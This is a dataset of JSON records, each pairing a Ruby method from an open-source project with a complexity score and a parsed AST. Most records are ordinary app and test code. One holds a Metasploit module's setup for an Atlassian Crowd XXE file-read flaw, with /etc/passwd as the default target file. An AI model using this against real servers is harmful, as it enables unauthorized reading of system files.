{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":515,"raw_source":"def test_to_i\n    result = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone[\"Hawaii\"]).to_i\n    assert_equal 946684800, result\n    assert_kind_of Integer, result\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_i\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Hawaii\"]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[946684800]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"825e2a8b-fc8d-44d2-a48e-588726d54a70"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/styles.rb","start_line":43,"raw_source":"def resolve_pt(value, default)\n    parse_pt(value) || default\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_pt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"default\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_pt\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}","id":"39e35f7f-fc4d-4689-89d8-560c9b3c2fcd"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/plugin.rb","start_line":175,"raw_source":"def after_authenticate(auth_token, existing_account: nil)\n    result = super\n\n    user = result.user\n    discourse_username = SiteSetting.patreon_creator_discourse_username\n    if discourse_username.present? && user && user.username == discourse_username\n      SiteSetting.patreon_creator_access_token = auth_token.credentials[\"token\"]\n      SiteSetting.patreon_creator_refresh_token = auth_token.credentials[\"refresh_token\"]\n    end\n\n    result\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"after_authenticate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth_token\"]},{\"type\":\"kwoptarg\",\"children\":[\"existing_account\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"discourse_username\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"patreon_creator_discourse_username\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discourse_username\"]},\"present?\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"discourse_username\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"patreon_creator_access_token=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_token\"]},\"credentials\"]},\"[]\",{\"type\":\"str\",\"children\":[\"token\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"patreon_creator_refresh_token=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_token\"]},\"credentials\"]},\"[]\",{\"type\":\"str\",\"children\":[\"refresh_token\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"5bf58d14-df4a-4819-8bd5-b3471c4e613e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1762,"raw_source":"def test_only\n    relation = Post.where(author_id: 1).order(\"id ASC\").limit(1)\n    assert_equal [posts(:welcome)], relation.to_a\n\n    author_posts = relation.only(:where)\n    assert_equal Post.where(author_id: 1).sort_by(&:id), author_posts.sort_by(&:id)\n    assert_equal author_posts.sort_by(&:id), relation.scoping { Post.only(:where).sort_by(&:id) }\n\n    all_posts = relation.only(:order)\n    assert_equal Post.order(\"id ASC\").to_a, all_posts.to_a\n    assert_equal all_posts.to_a, relation.scoping { Post.only(:order).to_a }\n  end","complexity_score":43.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_only\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"id ASC\"]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"author_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"only\",{\"type\":\"sym\",\"children\":[\"where\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author_posts\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author_posts\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"only\",{\"type\":\"sym\",\"children\":[\"where\"]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"only\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"str\",\"children\":[\"id ASC\"]}]},\"to_a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_posts\"]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_posts\"]},\"to_a\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"only\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"to_a\"]}]}]}]}]}","id":"f14efeb2-fac3-4e46-a5fd-d99a8effd51d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/table_configuration/filters.rb","start_line":50,"raw_source":"def expect_filter_count(count)\n          within(modal.selector) do\n            expect(page).to have_css(\".advanced-filters--filter\", count:)\n          end\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_filter_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modal\"]},\"selector\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".advanced-filters--filter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}]}]}","id":"bb1c9477-3e9a-4523-844d-3c8be1493c8f"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/podcasts_controller.rb","start_line":80,"raw_source":"def podcast_params\n      params.require(:podcast).permit(PODCAST_ALLOWED_PARAMS)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"podcast_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"podcast\"]}]},\"permit\",{\"type\":\"const\",\"children\":[null,\"PODCAST_ALLOWED_PARAMS\"]}]}]}","id":"f9d731f6-3f5b-47f5-9cda-1139e73827be"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'Atlassian Crowd XML Entity Expansion Remote File Access',\n      'Description' => %q{\n          This module simply attempts to read a remote file from the server using a\n        vulnerability in the way Atlassian Crowd handles XML files. The vulnerability\n        occurs while trying to expand external entities with the SYSTEM identifier. This\n        module has been tested successfully on Linux and Windows installations of Crowd.\n      },\n      'References' => [\n        [ 'CVE', '2012-2926' ],\n        [ 'OSVDB', '82274' ],\n        [ 'BID', '53595' ],\n        [ 'URL', 'https://neg9.org/' ], # General\n        [ 'URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2012-05-17-283641186.html']\n      ],\n      'Author' => [\n        'Will Caput', # Vulnerability discovery and Metasploit module\n        'Trevor Hartman', # Vulnerability discovery\n        'Thaddeus Bogner', # Metasploit module\n        'juan vazquez' # Metasploit module help\n      ],\n      'License' => MSF_LICENSE\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8095),\n        OptString.new('TARGETURI', [true, 'Path to Crowd', '/crowd/services']),\n        OptString.new('RFILE', [true, 'Remote File', '/etc/passwd'])\n\n      ]\n    )\n\n    register_autofilter_ports([ 8095 ])\n  end","complexity_score":7.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Atlassian Crowd XML Entity Expansion Remote File Access\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module simply attempts to read a remote file from the server using a\\n\"]},{\"type\":\"str\",\"children\":[\"        vulnerability in the way Atlassian Crowd handles XML files. The vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\"        occurs while trying to expand external entities with the SYSTEM identifier. This\\n\"]},{\"type\":\"str\",\"children\":[\"        module has been tested successfully on Linux and Windows installations of Crowd.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-2926\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"82274\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"53595\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://neg9.org/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://confluence.atlassian.com/crowd/crowd-security-advisory-2012-05-17-283641186.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Will Caput\"]},{\"type\":\"str\",\"children\":[\"Trevor Hartman\"]},{\"type\":\"str\",\"children\":[\"Thaddeus Bogner\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8095]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to Crowd\"]},{\"type\":\"str\",\"children\":[\"/crowd/services\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Remote File\"]},{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_autofilter_ports\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[8095]}]}]}]}]}","id":"64144d8e-9373-4f96-8be6-8b6375e7d042"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_hot_score.rb","start_line":9,"raw_source":"def self.hottest_topic_ids\n    Discourse.cache.read(CACHE_KEY).presence || Set.new\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hottest_topic_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"read\",{\"type\":\"const\",\"children\":[null,\"CACHE_KEY\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]}","id":"c2bc51f7-2738-4963-83ca-aecfc9bfa071"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/blob_viewer/readme.rb","start_line":12,"raw_source":"def visible_to?(current_user, _ref)\n      can?(current_user, :read_wiki, project)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visible_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"_ref\"]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_wiki\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"30bd5250-449f-4db1-919c-203b38d1338a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/checks.rb","start_line":95,"raw_source":"def test_check_for_missing_enabled_checks\n    require 'brakeman/options'\n    options, _ = Brakeman::Options.parse([\"-E\", \"blah\"])\n\n    assert_raises Brakeman::MissingChecksError do\n      Brakeman.check_for_missing_checks options[:run_checks], options[:skip_checks], options[:enable_checks]\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_check_for_missing_enabled_checks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"brakeman/options\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Options\"]},\"parse\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-E\"]},{\"type\":\"str\",\"children\":[\"blah\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"MissingChecksError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"check_for_missing_checks\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_checks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_checks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enable_checks\"]}]}]}]}]}]}","id":"6f1a4159-2904-483f-8311-1994f00c0e4c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat_drawer/chat_drawer.rb","start_line":36,"raw_source":"def visit_channel(channel)\n        visit_index\n        open_channel(channel)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit_index\"]},{\"type\":\"send\",\"children\":[null,\"open_channel\",{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]}","id":"b2727190-800c-45de-9374-31f53b250066"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/fix_auth/fix_auth.rb","start_line":19,"raw_source":"def cert_dir\n      (options[:root] + \"/certs\") if options[:root]\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"cert_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"root\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"root\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/certs\"]}]}]},null]}]}","id":"cc140893-eb2d-4605-84a0-62dbbe5912d2"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/user.rb","start_line":107,"raw_source":"def can_subscribe?\n    (trial? || !active_until&.future?) && !DawarichSettings.self_hosted?\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"can_subscribe?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trial?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_until\"]},\"future?\"]},\"!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DawarichSettings\"]},\"self_hosted?\"]},\"!\"]}]}]}","id":"cf463a5a-28f7-440b-b09a-10fe371c2c5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/chat/output.rb","start_line":69,"raw_source":"def trace_sections\n        @trace_sections ||= trace.extract_sections\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"trace_sections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@trace_sections\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trace\"]},\"extract_sections\"]}]}]}","id":"caf2dbb8-5efb-4819-922e-13be2acf58e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/web_hooks/events/resend_service.rb","start_line":34,"raw_source":"def url_changed_response\n        ServiceResponse.error(\n          message: _('The hook URL has changed. This log entry cannot be retried.')\n        )\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"url_changed_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"The hook URL has changed. This log entry cannot be retried.\"]}]}]}]}]}]}","id":"255113ff-b433-4c8b-9b9a-a13eca95701d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/cloud_database.rb","start_line":95,"raw_source":"def raw_update_cloud_database(_options = {})\n    raise NotImplementedError, _(\"raw_update_cloud_database must be implemented in a subclass\")\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_update_cloud_database\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"raw_update_cloud_database must be implemented in a subclass\"]}]}]}]}","id":"74e59101-076f-493b-bf76-e7672e5de475"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/checks/force_push.rb","start_line":6,"raw_source":"def self.force_push?(project, oldrev, newrev)\n        return false if project.empty_repo?\n\n        # Created or deleted branch\n        return false if Gitlab::Git.blank_ref?(oldrev) || Gitlab::Git.blank_ref?(newrev)\n\n        !project\n          .repository\n          .gitaly_commit_client\n          .ancestor?(oldrev, newrev)\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"force_push?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"oldrev\"]},{\"type\":\"arg\",\"children\":[\"newrev\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"empty_repo?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"blank_ref?\",{\"type\":\"lvar\",\"children\":[\"oldrev\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"blank_ref?\",{\"type\":\"lvar\",\"children\":[\"newrev\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"gitaly_commit_client\"]},\"ancestor?\",{\"type\":\"lvar\",\"children\":[\"oldrev\"]},{\"type\":\"lvar\",\"children\":[\"newrev\"]}]},\"!\"]}]}]}","id":"b63a786e-9a52-4128-89b5-282a1da8bd30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/undefined.rb","start_line":38,"raw_source":"def inspect\n          \"#<#{self.class.name}>\"\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}","id":"a4de0d18-8875-433d-b6e3-a5affcb2d4d9"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/util.rb","start_line":49,"raw_source":"def each(&b)\n      return enum_for(:each) unless block_given?\n\n      parent.each(&b)\n      own_entries.each(&b)\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"b\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"sym\",\"children\":[\"each\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"own_entries\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]}]}","id":"d9591ea1-7183-4f31-8335-8d54c6f64ca6"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/admin/users/edit.rb","start_line":67,"raw_source":"def edit_roles!(membership, roles)\n          find(\"#member-#{membership.id} .user-memberships--edit-button\").click\n\n          page.within(\"#member-#{membership.id}-roles-form\") do\n            page.all(\".form--check-box\").each do |f|\n              f.set false\n            rescue Selenium::WebDriver::Error::InvalidElementStateError\n              # Happens if an element is disabled\n            end\n            Array(roles).each { |role| page.check role }\n            page.find(\".user-memberships--edit-submit-button\").click\n          end\n        end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_roles!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"membership\"]},{\"type\":\"arg\",\"children\":[\"roles\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#member-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" 